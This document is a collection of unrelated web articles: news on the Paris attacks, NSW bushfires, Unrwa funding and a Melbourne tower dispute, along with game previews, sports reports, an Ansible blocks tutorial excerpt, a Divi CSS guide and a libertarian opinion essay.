Turkish officials told the BBC the man was Mehdi Sabri Belhouchine, a man of "North African origin", and that he was not on a watch list. Officials believe he crossed into Syria with Hayat Boumeddiene.
Mr Valls also said that a jogger shot in a separate attack in Paris on Wednesday, which prosecutors have linked to Coulibaly, was "between life and death".
In London, Prime Minister David Cameron consulted senior intelligence and security officials on Monday over Britain's response to the attacks in France.
How the attacks unfolded (all times GMT) | {
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About 32,700 homes would remain without power overnight in Batemans Bay and Moruya and fires threatened major sources of power supply in the Snowy Mountains and other parts of the state.
NSW experienced severe fire danger on Saturday with temperature records tumbling in Sydney and Canberra.
However, a southerly change came through the state, bringing gusts of up to 128 kilometres per hour in the state's south-west on Saturday evening.
It also brought a spate of fast-spreading fires to the state's south, including a new fire near the Shoalhaven region and an expanding blaze that threatened residents in Eden and surrounds.
Prime Minister Scott Morrison issued a compulsory call-up to 3000 Australian Defence Force reservists to help communities affected by fires in NSW, Victoria, South Australia and Tasmania.
Cooler temperatures are expected to somewhat ease the fire danger on Sunday but a total fire ban will remain in place across the state.
Read our day's wrap here. | {
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Our demo of Compulsion Games’ We Happy Few began in a locked safe house, where dazed and confused protagonist Arthur Hastings awoke with little recollection of how he’d ended up in the strange bunker wearing a torn suit.
Thankfully, design director David Sears was available to fill in some blanks on this story-driven, first-person survival horror game’s mysterious backstory and setup. “We Happy Few is set in a dystopian alternate future history of England, post-World War II,” Sears said. “The entire game is based on various characters you play, trying to escape from this insane series of islands in which everyone takes a happiness pill called ‘Joy.’ The pill makes them forget ‘the very terrible thing’ that happened the day before.”
As it turns out, Arthur – as well as the other playable characters – are “Downers,” folks who have refused to continue consuming Joy and conforming to this totalitarian nightmare. Upon looting a jimmy bar from a suicide victim who (according to Sears) had attempted and failed to forge the same enlightened path as Arthur, we were able to break free from the safe house and hit the streets of the game’s Garden District.
Armed with only a branch, the most basic of melee weapons, we eagerly embraced our newfound freedom and began exploring the detail-drenched, open-ish world. Sadly, our sightseeing tour of the highly atmospheric world was cut short by a pair of approaching Bobbies – policeman sporting sinister, smile-plastered masks. As Sears explained, all citizens are required to wear the creepy cowls, lest they look anything but extremely happy at all times.
Given Arthur’s recent status and less-than-joyful appearance, we avoided the fuzz and popped into a nearby flat. We looted some charcoal – one of numerous items supporting the game’s deep crafting system – before being attacked by the residence’s paranoid owner. Upon brutally bludgeoning the foe with our trusty stick, we returned to the streets, only to discover a security checkpoint-like contraption blocking our path. Dubbed a “Joy Detector” by Sears, the device is capable of measuring the level of the drug in our system before deciding whether we can continue forward… or be barbecued by coils coursing with electricity.
We didn’t chance passing this potentially deadly test, but were almost immediately halted in our tracks by an extreme case of dehydration. We Happy Few takes its survival elements very seriously, punishing players who don’t properly manage their resources. Hunger, thirst, exhaustion, and even Joy withdrawals can be as lethal as the game’s demented denizens and crazed coppers. Basic health and stamina meters must also be carefully monitored at all times.
Desperately grabbing a nearby bottle, we partially refilled our water supply and got back on our feet. Our recovery was short-lived, however, as the container we’d chugged so willingly was filled with alcohol. While the adult beverage (which can also be used to bribe Bobbies) partially negates the effects of dehydration, it also blurs your vision and makes you dizzy. In our drunken state, we fell right into the hands of the evil-doing law enforcement that we’d evaded earlier.
With Arthur bleeding out on the cobblestones, our demo came to a rather unceremonious close. Treating our dehydration with a beer before being beaten to death by a pair of masked creeps wasn’t the most heroic way to go out, but it offered a taste of We Happy Few‘s trio of diverse play styles. According to Sears, the game supports stealth, aggression, and conformity. The latter, more nuanced approach sounds especially interesting, as it includes the ability to don disguises and blend into crowds.
Based on our brief time with poor Arthur, we can’t wait to see how all of these promising elements collide. We also look forward to learning more about “the very terrible thing” when We Happy Few arrives on Xbox One Game Preview on July 26. | {
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Image copyright Reuters Image caption Unrwa provides critical services, including education and health care
The United States is ending all funding for the UN's Palestinian refugee agency, the US State Department says.
It described the organisation, the United Nations Relief and Works Agency (Unrwa), as "irredeemably flawed".
The US administration has "carefully reviewed" the issue and "will not make additional contributions to Unrwa," spokeswoman Heather Nauert said.
A spokesman for Palestinian President Mahmoud Abbas later said the move was an "assault" against his people.
"Such a punishment will not succeed to change the fact that the United States no longer has a role in the region and that it is not a part of the solution," Nabil Abu Rudeina told Reuters news agency.
He added that the decision was "a defiance of UN resolutions".
A spokesman for Unrwa, Chris Gunness, defended the agency in a series of tweets.
"We reject in the strongest possible terms the criticism that Unrwa's schools, health centres, and emergency assistance programs are 'irredeemably flawed'," he wrote.
The latest move comes after the US announced back in January that it would withhold more than half of a tranche of funding for the agency.
What is Unrwa?
Unrwa was originally set up to take care of hundreds of thousands of Palestinians displaced by the 1948 Arab-Israeli war.
The agency says it currently supports more than five million Palestinians in Gaza, the West Bank, Jordan, Syria and Lebanon, including providing health care, education and social services.
The US has been the largest single donor to Unrwa, providing $364m (£283m) in 2017 and funding almost 30% of its operations in the region.
The Trump administration had pledged $60m to Unrwa in January, but withheld another $65m.
The remaining payment of $65m is now expected to be cancelled.
Why is the US critical of Unrwa?
The US disagrees with Unrwa, and Palestinian officials, on a number of issues.
US President Donald Trump has previously complained that the US received "no appreciation or respect" for the large sums of aid it provided to the region.
Earlier this year, he threatened to cut aid to the Palestinians over what he called their unwillingness to negotiate with Israel.
Image copyright EPA Image caption The US has said Unrwa needs to become more accountable
The US and Israel also disagree with Unrwa on which Palestinians are refugees with a right to return to the homes they fled following the 1948 war.
Nikki Haley, the US ambassador to the UN, said earlier this week that Unrwa exaggerated the number of Palestinian refugees, and needed to reform.
"You're looking at the fact that, yes, there's an endless number of refugees that continue to get assistance, but more importantly, the Palestinians continue to bash America," she said.
The state department says the US is contributing a "very disproportionate share of the burden of Unrwa's costs".
It complains of a business model and fiscal practices, linked to an "exponentially expanding community of entitled beneficiaries", which is "unsustainable and has been in crisis mode for many years".
What does the Palestinian side say?
On Friday, the Palestinian representative in Washington, Hossam Zomlot, accused the US of "endorsing the most extreme Israeli narrative on all issues including the rights of more than five million Palestinian refugees".
The US "is damaging not only an already volatile situation but the prospects for future peace", he told AFP.
Image copyright AFP Image caption Nikki Haley has criticised Palestinian officials for "bashing America"
Palestinian officials have already accused the Trump administration of worsening tensions due to its pro-Israel stance.
In December, Mr Trump controversially recognised Jerusalem as Israel's capital, despite it being claimed by both sides.
His move overturned decades of US neutrality on the issue, attracted international criticism, and led to the Palestinian Authority cutting off dialogue in Washington.
In May, the US also opened an embassy in Jerusalem, a move described by Palestinian officials as a "blatant provocation".
What's the Israeli view?
Israeli Prime Minister Benjamin Netanyahu has previously called for Unrwa's funding to be cut gradually and its responsibilities transferred to the UN's global refugee agency, the UNHCR, arguing that it "perpetuates the Palestinian problem".
However, he said that "every step taken also contains some risk".
Some Israelis have raised concerns that weakening Unrwa could cause regional instability and create more extremism in the region.
How has the international community reacted?
Earlier on Friday, German Foreign Minister Heiko Maas said his country would increase its contributions to the agency because its funding crisis was fuelling uncertainty.
"The loss of this organisation could unleash an uncontrollable chain reaction," Mr Maas said.
Meanwhile, the UN's secretary general, Antonio Guterres, has said he has "full confidence" in Unrwa, and called on other countries "to help fill the remaining financial gap". | {
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The following is an excerpt from Chapter 5 of Ansible for DevOps, a book on Ansible by Jeff Geerling.
Introduced in Ansible 2.0.0 (still in active development, currently in alpha), Blocks allow you to group related tasks together and apply particular task parameters on the block level. They also allow you to handle errors inside the blocks in a way similar to most programming languages' exception handling.
Here's an example playbook that uses blocks with when to run group of tasks specific to one platform without when parameters on each task:
---
- hosts: web
tasks:
# Install and configure Apache on RedHat/CentOS hosts.
- block:
- yum: name=httpd state=installed
- template: src=httpd.conf.j2 dest=/etc/httpd/conf/httpd.conf
- service: name=httpd state=started enabled=yes
when: ansible_os_family == 'RedHat'
sudo: yes
# Install and configure Apache on Debian/Ubuntu hosts.
- block:
- apt: name=apache2 state=installed
- template: src=httpd.conf.j2 dest=/etc/apache2/apache2.conf
- service: name=apache2 state=started enabled=yes
when: ansible_os_family == 'Debian'
sudo: yes
If you want to perform a series of tasks with one set of task parameters (e.g. with_items , when , or sudo ) applied, blocks are quite handy.
Blocks are also useful if you want to be able to gracefully handle failures in certain tasks. There might be a task that connects your app to a monitoring service that's not essential for a deployment to succeed, so it would be better to gracefully handle a failure than to bail out of the entire deployment!
Here's how to use a block to gracefully handle task failures:
tasks:
- block:
- name: Shell script to connect the app to a monitoring service.
script: monitoring-connect.sh
rescue:
- name: This will only run in case of an error in the block.
debug: msg="There was an error in the block."
always:
- name: This will always run, no matter what.
debug: msg="This always executes."
Tasks inside the block will be run first. If there is a failure in any task in block , tasks inside rescue will be run. The tasks inside always will always be run, whether or not there were failures in either block or rescue .
Blocks can be very helpful for building reliable playbooks, but just like exceptions in programming languages, block / rescue / always failure handling can overcomplicate things. If it's easier to maintain idempotency using failed_when per-task to define acceptable failure conditions, or to structure your playbook in a different way, it may not be necessary to use block / rescue / always .
Read more about Blocks on the official Blocks documentation page.
Read Ansible for DevOps, available on LeanPub: | {
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Parkville resident Joe Edmonds in front of an 11-level tower on the former Commonwealth Games Village site. New rules would allow towers up to double its height. Credit:Paul Jeffers Planning Minister Richard Wynne is poised to sign off on the deal, which would gift Citta Property Group and Frasers Property a windfall worth tens of millions of dollars. But residents and community groups say 22 levels is far too high and the development must adhere to the original terms for the site struck in 2004. Melbourne City Council also opposes the plan, which it argues is too high for the area and would overwhelm Royal Park. "Royal Park is the most valuable, biggest and oldest park in the state," said Joe Edmonds, a Parkville resident and member of the Friends of Royal Park.
The site where the developers want to build towers up to 22 storeys. They are currently only allowed 11 levels. Credit:Paul Jeffers "You could never do a development like this around the Shrine. It's excessive and exploitative." Mr Edmonds said that if Mr Wynne allowed the change to the planning rules for the site, it would amount to changing the laws on the run. How the new towers (in white, behind the "cheese stick") would look from CityLink. Credit:Citta Property Group, Frasers Property "A free kick in front of goal when there is no justification," he said.
Mr Edmonds said the community a decade ago had battled to stop any towers being built there. The view of the proposed towers (in white) from Travancore. Credit:Citta Property Group, Frasers Property "Back then [they] fought bitterly against those towers. They lost but they did succeed in getting the height limits put on. And now that's just going to be whimsically overturned." When it was approved by the Bracks government, the masterplan for the development was to have between 900 and 1000 homes, in low-rise housing for most of the site – but with towers lining the freeway side to act as a noise buffer. The original 2003 plan for the site. Credit:Victorian government
Now Frasers Property (formerly Australand) and Citta Property Group want a total of 1300 dwellings on the site. The consortium is working with the state government's Development Victoria on the project. The new plan for the site. Credit:Citta Property Group, Frasers Property The consortium would increase the number of apartments by raising towers from their existing highest height of 11 levels to a range of new higher levels, the tallest being 22 storeys. The developers are already marketing the first of the towers, and despite the government's assurance affordable housing is a priority, the cheapest two-bedroom apartment will start at $602,000.
The consortium behind the plan argues that increasing the height of the apartments built along the freeway will allow 117 more apartments but will not increase overshadowing of the adjacent wetlands. The Citta Property Group director in charge of the project, Alister Woods, could not be reached for comment on Sunday. Earlier this year, Melbourne City Council planning chairman Nicholas Reece said the government should not change the planning rules for the site. He said the proposal was "clearly inappropriate". A spokesman for the Planning Minister said Mr Wynne would carefully consider the panel's findings when making his decision. He pointed out that the land was close to the freeway and away from more sensitive neighbourhood streets. | {
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Description
In the not so distant future, mankind has advanced to a state where complete body transplants from flesh to machine is possible. This allows for great increases in both physical and cybernetic prowess and blurring the lines between the two worlds. However, criminals can also make full use of such technology, leading to new and sometimes, very dangerous crimes. In response to such innovative new methods, the Japanese Government has established Section 9, an independently operating police unit which deals with such highly sensitive crimes.
Led by Daisuke Aramaki and Motoko Kusanagi, Section 9 deals with such crimes over the entire social spectrum, usually with success. However, when faced with a new A level hacker nicknamed “The Laughing Man”, the team is thrown into a dangerous cat and mouse game, following the hacker’s trail as it leaves its mark on Japan.
[Written by MAL Rewrite] | {
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Last updated on .From the section Football
Blackpool survived relegation despite Callum Harriott's hat-trick securing Charlton a third win in four games.
Harriott, who also scored twice in the 3-1 victory over Watford on Tuesday, slotted home to put the Addicks ahead.
The 20-year-old added his second of the afternoon after being teed up by Jon Obika, before adding a late third.
Blackpool, who started the day in 19th place, finished the season two points above the relegation zone as Doncaster lost and Birmingham drew.
Losing end for Blackpool Blackpool had only lost once in eight years on the last day of the season before today - against Manchester United on 22 May 2011
It was a close shave for the Seasiders, who were in the Premier League three years ago.
In a turbulent season, manager Paul Ince was sacked in January, with caretaker-boss Barry Ferguson having won just three of his 20 league games in charge.
But they started the final game knowing a point would be enough to guarantee safety.
And they started brightly, with Stephen Dobbie forcing keeper Ben Hamer to tip his 13th-minute shot behind.
Defender Craig Cathcart then headed Tony McMahon's free-kick over as the hosts created the better chances before the interval.
But Harriott's clinical finishing proved the difference.
The former England Under-19 international opened the scoring in the 61st minute with a neat finish before completing his hat-trick with two goals in the final eight minutes.
His second, a left-footed strike after brilliant work from Obika, gave keeper Matt Gilks no chance.
And the Norbury-born winger completed his hat-trick in the last minute, latching onto Joe Pigott's pass and firing low to the left of Gilks.
Blackpool caretaker manager Barry Ferguson:
"It's a strange day because we should be really happy keeping the club in the Championship.
"But I just wanted the boys to go out on a high.
"This isn't the way I wanted to finish it."
Charlton manager Jose Riga:
"I asked my players to end the season with a good feeling and they were able to do it."
On Callum Harriott's hat-trick:
"He has speed, he has pace and it's more a question of trying to manage his emotions.
"Everybody knows that he has talent." | {
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B'z稲葉浩志、大ヒットゲーム「龍が如く」最新作にテーマソング提供！ 2015年9月17日 15時00分
B'z稲葉が「龍が如く」のテーマを歌う！ 奇跡のコラボが決定！ - (C) SEGA
ロックユニットB'zの稲葉浩志が、ゲーム会社セガの大ヒットゲームシリーズ最新作「龍が如く 極」に楽曲を提供することが明らかになった。テーマソングとなる書き下ろしの新曲と、2006年にPlayStation2で発売された「龍が如く」のメインテーマ曲であった「Receive You」を稲葉が新たにアレンジした「Receive You [Reborn]」の全2曲を手掛ける。
「龍が如く」は、新宿・歌舞伎町をモデルとした架空の街「神室町」を舞台に、「堂島の龍」の異名を取る伝説の極道・桐生一馬の活躍を描いた、シリーズ全世界累計出荷本数750万本を突破するアドベンチャーゲーム。最新作「龍が如く 極」では、記念すべきシリーズ1作目を現在のゲーム表現でリメイク。PlayStation4での開発環境をベースにした映像の進化に加え、過去のシリーズで好評だったゲームシステムやバトルスタイルを導入。全体の9割に及ぶキャラクターボイスも再収録される。
新規エピソードも多数収録され、歓楽街で遊べるカラオケや麻雀など、ゲーム内で遊べるプレイスポットも充実。まさに、10年にわたる「龍が如く」の歴史を詰め込んだ、集大成的な作品となる。
[PR]
稲葉による提供楽曲のリリースは未定ということだが、「Receive You [Reborn]」の一部は、千葉・幕張メッセで開催中の東京ゲームショウ2015（一般公開・9月19日～20日）、セガブース「龍が如く」特別シアター内で聴くことが可能だ。（編集部・入倉功一）
「龍が如く 極」は2016年1月21日発売予定 価格：6,490円（税別） 対応機種：PlayStation 4、PlayStation 3 | {
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IMMEDIATE RELEASE – July 22, 2018 – Surrey, BC
SkyTrain for Surrey is a grassroots campaign that has helped establish strong support for a SkyTrain extension on Fraser Highway. Today we are issuing the following points in response to the recent TransLink reveal of the construction costs for light rail and SkyTrain alternatives, TransLink’s decision in favour of LRT on Fraser Highway, and other recent statements related to the ongoing ‘LRT vs SkyTrain’ debate.
1. Higher light rail travel times will hurt potential ridership An Expo Line extension offers travel times of 22 minutes from King George Station to Langley, with a seamless connection to existing SkyTrain. Light Rail would take up to 35 minutes to cover the same distance, with a transfer required to connect to the Expo Line. The Light Rail alternative’s travel times, to all destinations, are significantly worse, reducing the potential transit ridership.
2. Light rail presents almost no time savings against B-Line bus A light rail line would save riders only a few minutes compared to the proposed Fraser Highway B-Line, despite having 4 less stops between King George Station and Langley.
compared to the proposed Fraser Highway B-Line, despite having between King George Station and Langley. For reference, Fraser Highway B-Line service is expected to have travel times of 40 minutes between Surrey Central and Langley Centre. A Surrey-Langley Line LRT would have travel times of up to 35 minutes between King George Station and Langley Centre, with an additional 2-3 minutes required to connect from Surrey Central Station.
Extending SkyTrain is the only option that will significantly reduce travel times.
3. Light rail capacity is significantly lower than SkyTrain The LRT estimate released by TransLink offers significantly less capacity than the SkyTrain alternative. According to the estimate, LRT platforms will be 40m long , only half (20m) of which will be weather-protected by a canopy. This compares to 82.5m long, fully canopied platforms for the SkyTrain alternative, which will be capable of handling 5-car trains.
than the SkyTrain alternative. According to the estimate, LRT platforms will be , only half (20m) of which will be weather-protected by a canopy. This compares to for the SkyTrain alternative, which will be capable of handling 5-car trains. There is no indication as to whether or not the LRT platforms may be extended beyond 40m, or what is the maximum frequency that LRT trains may safely operate at.
4. Ridership revenue on SkyTrain is higher than on LRT Despite saying that ridership will be ‘too low’ to support 5-car trains running east of Fleetwood, TransLink admits (in their Sept. 2017 memo) that higher ridership revenue will offset the higher operating costs of running 5-car trains. Assuming this allows the extension to fully recover its operating costs, Expo: Langley will be sustainable to operate even if trains are under-utilized in the first 20 years of operations.
5. It will cost billions to upgrade Light Rail alternative in the future Ridership numbers referenced in the Sept. 2017 memo are estimates for year 2045, which is only year 18 of operations. Rapid transit will play a role in increasing transit use and accommodating demand in our region for the next 50-100 years.
We strongly believe that the light rail alternative is under-built, and that humongous expenses to upgrade infrastructure (i.e. adding grade-separation, improving capacity) will be incurred in the future if Light Rail technology is selected for the Surrey-Langley Line.
SEE ALSO:
Transparency lacking in decision to favour LRT technology on Fraser Highway
SkyTrain for Surrey is a local grassroots organization calling for a SkyTrain and Bus Rapid Transit (BRT) network instead of the currently-proposed on-street Light Rail system in Surrey. Our campaign has called on decision-makers to build the Langley Extension of the SkyTrain Expo Line, in conjunction with an extension of the 96 B-Line to Coquitlam Centre and White Rock as a Bus Rapid Transit system.
For further information, contact:
Daryl Dela Cruz, Founding Director
Phone: +1 604 329 3529, [email protected] | {
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Chang'e-5 marks the third and final stage of the original China Lunar Exploration Program (CLEP) approved in the early 2000s, which set out to first orbit and map the Moon (Chang'e-1 and 2), then land and rove on the lunar surface (Chang'e-3 and Yutu), and finally collect samples and bring them to Earth for analysis.
Following earlier successes and technological breakthroughs, Chang'e-5 is now scheduled to launch in late November from Wenchang on a new Long March 5 heavy-lift rocket.
The last lunar sample return was the Soviet Union's Luna 24 in 1976, so China is clearly still catching up. But rather than merely copying Cold War-era missions, as has often been suggested, this will also provide lessons and experience for more ambitious missions in the future.
The Luna 24 ascent stage returned directly to Earth, but China has decided that the Chang'e-5 mission will rely on a lunar orbit rendezvous similar to that used for the Apollo landings. The 8.2 metric ton Chang'e-5 spacecraft thus consists of a service module, lander, ascent unit, and a return vehicle.
After collecting samples, the ascent module will lift off and dock with the service module in orbit around the Moon, nearly 400,000 kilometers away from Earth. The samples will be transferred to the reentry capsule, which itself will separate from the service module a few thousand kilometers from Earth before reentry and landing.
The lunar orbit rendezvous approach is a very interesting choice we'll look at later, but note for now that this will be the first robotic rendezvous and docking around a planetary body other than the Earth.
Landing sites and science goals
Six Apollo and three Soviet robotic Luna missions brought lunar rocks and regolith back to Earth, but the Moon is a large and diverse body and there is much to be learned. According to a paper recently presented at the 48th Lunar and Planetary Science Conference, a number of target sites near Mons Rümker in the northern Oceanus Procellarum are being considered.
Spectral analysis of craters using imaging data from the Chandrayaan-1 Moon Mineralogy Mapper suggests that material at one candidate area is just 1.33 billion years old, meaning Chang'e-5 could be returning by far the youngest lunar basaltic samples yet (Apollo basalt samples were 3 to 4 billion years old).
Planetary Scientist Phil Stooke, using information from another paper to be presented at the European Geoscience meeting in April, mapped out the region containing seven candidate sites identified by scientists with the Chinese Academy of Sciences. Within this, the 'preferred landing area' box marks the candidate site discussed above. | {
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Gotta God Hand!: 07
We finally got the band back together!
Ben and Jason don't know why they have to, but they GOTTA!
Nov. 14 2018
Cast: Ben, Jason
Posted by: Jan | {
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If the mainstream news is to be believed, libertarian sentiment is rising in America. The media enjoys attaching itself to fads, but there is some evidence for the claim.
A number of liberty-minded congressmen are proving to be a headache for party leaders. Student organizations are cropping up across the country to promote libertarian ideals on college campuses.
But do these trends really mean the shared philosophy of Ron Paul and Ayn Rand is on an upswing?
Many popular thinkers are equating a fall in traditional norms with a rise in liberty-minded views.
Erudite conservative columnist Charles Krauthammer recently declared on a Fox News program that relaxed social tolerance, what he calls “generally…libertarian,” is a sure sign of this phenomenon.
Pot legalization in Colorado and the striking down of anti-polygamy laws in Utah certainly lend themselves to this notion.
There are other factors at play that point to a more liberally tolerant culture. Thanks to the Internet, pornography is more widely available than ever before. Basic manners – such as not lavishly kissing a significant other in public – have been heavily eroded.
Moreover, the U. S. is undoubtedly becoming a more secular state. Church membership is declining and increasing numbers of folks identify as “non-religious” or “atheist.” The temperance that comes from a belief in higher order has been cast aside for the Mad magazine attitude of “What, me worry?”
Some might see this as a gradual jump into libertarianism. Plenty of putative libertarian publications give disproportionate attention to drug and sex issues. Hardly a day goes by without a diatribe being written on either marijuana legalization or gay marriage in popular liberty outlets such as Reason magazine.
Smoking a joint in peace is not the focal point of libertarianism, however. While libertarians support ending the costly and murderous War on Drugs, it’s slim pickings compared with the ultimate goal: genuine liberty and respect for property rights.
Murray Rothbard, the libertarian economist and polymath, first defined the philosophy of liberty as adherence to the non-aggression principle. The principle is simple: it is impermissible to hurt others or their property. Any harm done should be considered illegal unless it is purely defensive. Basically, it’s the lesson any kindergartner learns on their first day of preschool.Some libertarians abide by this rule on utilitarian grounds. Others, including me, find the non-aggression principle morally superior because it fits perfectly well within the natural law. It is, to borrow Catholic scholar George Weigel’s phrase, part of “the truth of things built into the world and into us.” Regardless of basis, proper libertarianism holds that force initiated against the innocent is always wrong. A government gun and badge don’t make a difference. Opposition to drug prohibition, government regulation of marriage, and economic intervention all stem from the principle that it’s illegitimate to interfere with peaceful activity. And though it may be wrong to lock up a teenager for smoking a dried plant, there are bigger issues libertarians often lose sight of in the fight for freedom. | {
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Last week we introduced Divi 2.4, the biggest upgrade in Divi history and a giant leap forward for our most popular WordPress theme. There are so many great features to explore in this update that it was hard to describe them all on the release post, which is why we have decided to do a 2-week series of informational blog posts that will aim to teach you how to take full advantage of Divi 2.4 and its new options. In part ten of this series, I’m going to explore the new Custom CSS options and how you can use them alongside the Divi Library in lieu of adding custom css with a child theme.
Learn All About Divi 2.4 Here
The All New Custom CSS Tabs in Divi 2.4
Sections, Rows, & Modules all have their very own Custom CSS tabs in the Divi Builder. This lets you add custom css to your page and even more specifically, directly to individual elements on the page. There is nothing wrong with doing this via a child theme or within the Elegant Themes ePanel, but you might find yourself using those methods far less with these new features at your fingertips.
Section & Row Custom CSS Options
Sections and Rows let you define custom css for the main element, which is the whole section or row element in the html, and both the :after and :before pseudo elements. Check out a few examples below.
Use Pseudo Elements to Add a Section Divider
Ive added CSS to the section’s After field to create a carrot that points to the next section. This element is made from a square shape that is the same color of the section background color, and then rotated 45%.
display: block; position: absolute; content: ''; width: 40px; height: 40px; bottom: -20px; left: 50%; margin-left: -20px; background-color: #1e73be; -ms-transform: rotate(45deg); -webkit-transform: rotate(45deg); transform: rotate(45deg); z-index: 1;
Style The Section Container Via the “Main Element” Field
Here, I’ve added a transparent inset shadow to give my section a nice transparent border effect.
-webkit-box-shadow: inset 0px 0px 0px 20px rgba(0, 0, 0, 0.3); -moz-box-shadow: inset 0px 0px 0px 20px rgba(0, 0, 0, 0.3); box-shadow: inset 0px 0px 0px 20px rgba(0, 0, 0, 0.3);
Custom Row CSS
Adding custom css to rows will style the container that holds its columns and modules. I’ve added a simple border and some custom padding to add a nice box around the contents of the row.
border: 4px solid rgba(0,0,0,0.4); padding: 40px;
Custom Module CSS Gives You More Control Than Ever Before
In addition to being able to add custom css to a module’s outer container and its pseudo elements, you can also add styles to individual pieces of a module. I will go over a few examples below and even show you how the Divi Library can take these examples to a whole new level of awesome.
Create Rounded Blurb Images with CSS
This CSS gives the blurb image a large border radius, effectively constraining your images to perfect circles if your images happen to be perfect squares to begin with. I’ve even added a bit of spacing between the blurb image and title by increasing the image’s bottom margin.
line-height: 0; -webkit-border-radius: 100px; -moz-border-radius: 100px; border-radius: 100px; overflow: hidden; xmax-width: 200px; margin: 0 auto 50px;
Add Custom Borders To Any Module with Custom CSS
Here, I’ve simply added a top double-border and some custom padding to text modules. This is an easy way to bring attention to a block of text.
border-top: 4px double rgba(255,255,255,0.5); padding-top: 20px;
Use CSS Filters On Any Module!
CSS filters work great for things like images, team member portraits, and even Google Maps.
From left to right, the css filters are as follows: Grayscale, Sepia, Saturation, Blur, Invert. You can change the values in the parentheses to achieve different levels of these effects. Simply add any of the styles below to the Main Element CSS field of any module.
Grayscale -webkit-filter: grayscale(1); filter: grayscale(1); Sepia -webkit-filter: sepia(1); filter: sepia(1); Saturate -webkit-filter: saturate(2); filter: saturate(2); Blur -webkit-filter: blur(5px); filter: blur(5px); Invert -webkit-filter: invert(1); filter: invert(1);
Using Custom Module CSS With The Divi Library To Decrease Development Time
If you achieve an awesome effect with custom css, such as the grayscale filter or circular blurb image, and you think you might use it again, simply save it to your Divi Library for later use. If the custom css is the only thing you want to save, choose to only save the Custom CSS Tab when you are prompted to do so.
Anytime you want to add a module with that effect, just add it to the page from your library, and no matter what content you place in that module, your custom css will still take effect. If you think you might even edit that saved css down the road, you can set it up as a global module. Then, any time you need to edit the CSS, you only have to do it once.
A Step By Step Example
Say I added some custom css to make the portrait in a testimonial module grayscale. Now I want this effect to take place across my entire website anytime I add a new testimonial module to my page. Here is how I would set this up using Custom CSS and the Divi Library.
Step 1. Create A Testimonial Module
This can be done from right inside your Divi Library or on a real page. Either will do. I am going to do this via the Divi Library because I haven’t started building my site yet. After navigating the the Divi Admin Tab, select the Divi Library link and choose to Add New.
Choose Your Settings – I named my module appropriately, told the library that I want to make a module, that I only want to include its Custom CSS tab, and I want it to be Global (in case I want to update my testimonial portrait filter in the future).
Submit & Configure – After submitting I am prompted to choose a module (I chose a testimonial module) and then I am immediately taken to the CSS tab since it is the only tab I chose to sync. After I place my css filter into the Testimonial Portrait field, I can Save and update my new library item.
Step 2. Add The Saved Library Element into a Layout
Since I created this module from within the Divi Library, I need to make a new page for my testimonials. I want to add three testimonials so I added my new global module into each column of a 3 column row.
Step 3. Save and Preview Your Awesome Work!
Reviewing & Modifying – After looking at these, I think that the images need a little more color, so I am going to decrease the filter level to 50%. All I have to do is open the settings of a testimonial module and change my filter amount to 0.5. Note that the CSS Tab is green, telling me that it is the only global tab in this module.
After saving the module and updating my page, I can see that all instances of my global testimonial module have portrait images with a 50% grayscale filter. Beautiful.
All of The Above Without Ever Leaving Divi
It’s hard to believe we just did all of that with native Divi tools. This is only one example of how you can use Custom CSS and the Divi Library to improve your workflow. Not to mention being able to export your Divi Library for use on other websites. | {
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The Return of The Max
Well, well. Look who's come crawling back. ME.
If you guys have been keeping track, The Destructoid Show came to an end two months ago, and I announced my departure from Revision3 about one month ago. And today, in an effort to further confuse my extended family who were never entirely sure what my job was to begin with, I'm proud to announce that I am back with Destructoid, full-time, as their head warlock of video-related crap -- which will include, in some form, a resurrection of the Destructoid Show.
To kick this off, please join me this Friday at 3:30 PM Pacific time (-8:00 GMT) on YouTube for a LIVE Destructoid Show. Y'know, for old time's sake.
I realize this is all a bit confusing, but the important thing to take away from this is that I'm back where I got my start, and Hamza and Niero have said "do your thing," and literally handed me the keys to the Destructoid offices (well, I actually have to go pick them up tomorrow, but you get the idea.) This is both exciting and terrifying for me, because I'm actually in charge of some stuff, and nobody ever leaves me in charge of stuff.
To quell your curiosity and ease your confusion, here's a short FAQ:
Q: What about Tara? Is she coming back too?
A: No. Tara's still doing her thing over at Rev3Games, and she's also doing a science show with Anthony Carboni called Hard Science. Go check it out, because they build hovercrafts, and you should always support hovercrafts.
Q: What about your hit podcast, The Comedy Button, I thought you were making videos for that full-time?
A: That's still very much a thing, but making it a full-time gig while everyone else involved is busy with real jobs is tricky, especially when those real jobs involve videogames, and there are two new consoles coming out this month.
Q: Are you going to bring back Max Scoville's Study Hall?
A: Despite what the title might suggest, Revision3 owns the rights to Max Scoville's Study Hall. I have a "spiritual successor" type project in the works which will hopefully fill that void.
Q: Are you gonna do a Gundam episode?
A: Yes.
Q: You need a haircut.
A: I agree.
If you have other questions, I'll happily answer them in the comments. It's good to be back! | {
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GAINESVILLE, Fla. -- Florida quarterback Feleipe Franks had a fairly remarkable turnaround during the 2018 season after a reasonably dismal redshirt freshman campaign.
He accounted for 31 total touchdowns while throwing just six interceptions, navigating a difficult personal stretch of play midway through the season to ultimately help Florida win 10 games and cruise in a Chick-Fil-A Peach Bowl thrashing of Michigan.
Franks joined the Paul Finebaum Show on Tuesday afternoon, about one month ahead of spring practice, to talk about just how much change he and the program have undergone since coach Dan Mullen took over.
"It was something different. But sometimes change is for the best," Franks said. " I think that's what helped this program out with, it was for the better. Especially for me it helped me develop more as a quarterback, become a better leader and help these guys initially go to a championship like the Peach Bowl and win it."
One of the major differences that Franks pointed to was just how much confidence Mullen had in him. Or, at least, in his own ability to develop Franks.
Though public doubt in the fanbase swirled constantly about whether Franks could get the job done or whether fellow redshirt sophomore Kyle Trask or true freshman Emory Jones should get a shot to start, Mullen never really seemed to entertain such ideas. Both spoke extensively about how key that was for Franks.
"It's awesome. It's not one of those types of coaches where you're always uptight and you want to do everything perfect or if you mess up, it's the end of the world," Franks said. "It's something where coach Mullen is very open. You goof around and when you're in film, you kick back and you're there to learn. You're there each and every day to become a better quarterback and a better leader. You go in there with an open mind every single day, with a mindset to learn and be like a sponge and take all the information in you can from him and coach (Brian) Johnson."
It was easy to see at certain points just how frustrated Franks was at times given all the constant criticism he faced.
During the South Carolina game -- a game in which Franks led a 17-point comeback win -- Franks visibly "shushed" the crowd after scoring touchdowns. Maybe it wasn't the most fan-friendly gesture, but it seemed to fire him up.
He cited that game as the turning point for the team as the Mullen era began in earnest.
Now, Franks and all of his teammates are simply having fun playing the game again. Not just on Saturdays, but even during practices, strength and conditioning sessions, in the film room. That's a huge change from the last few years.
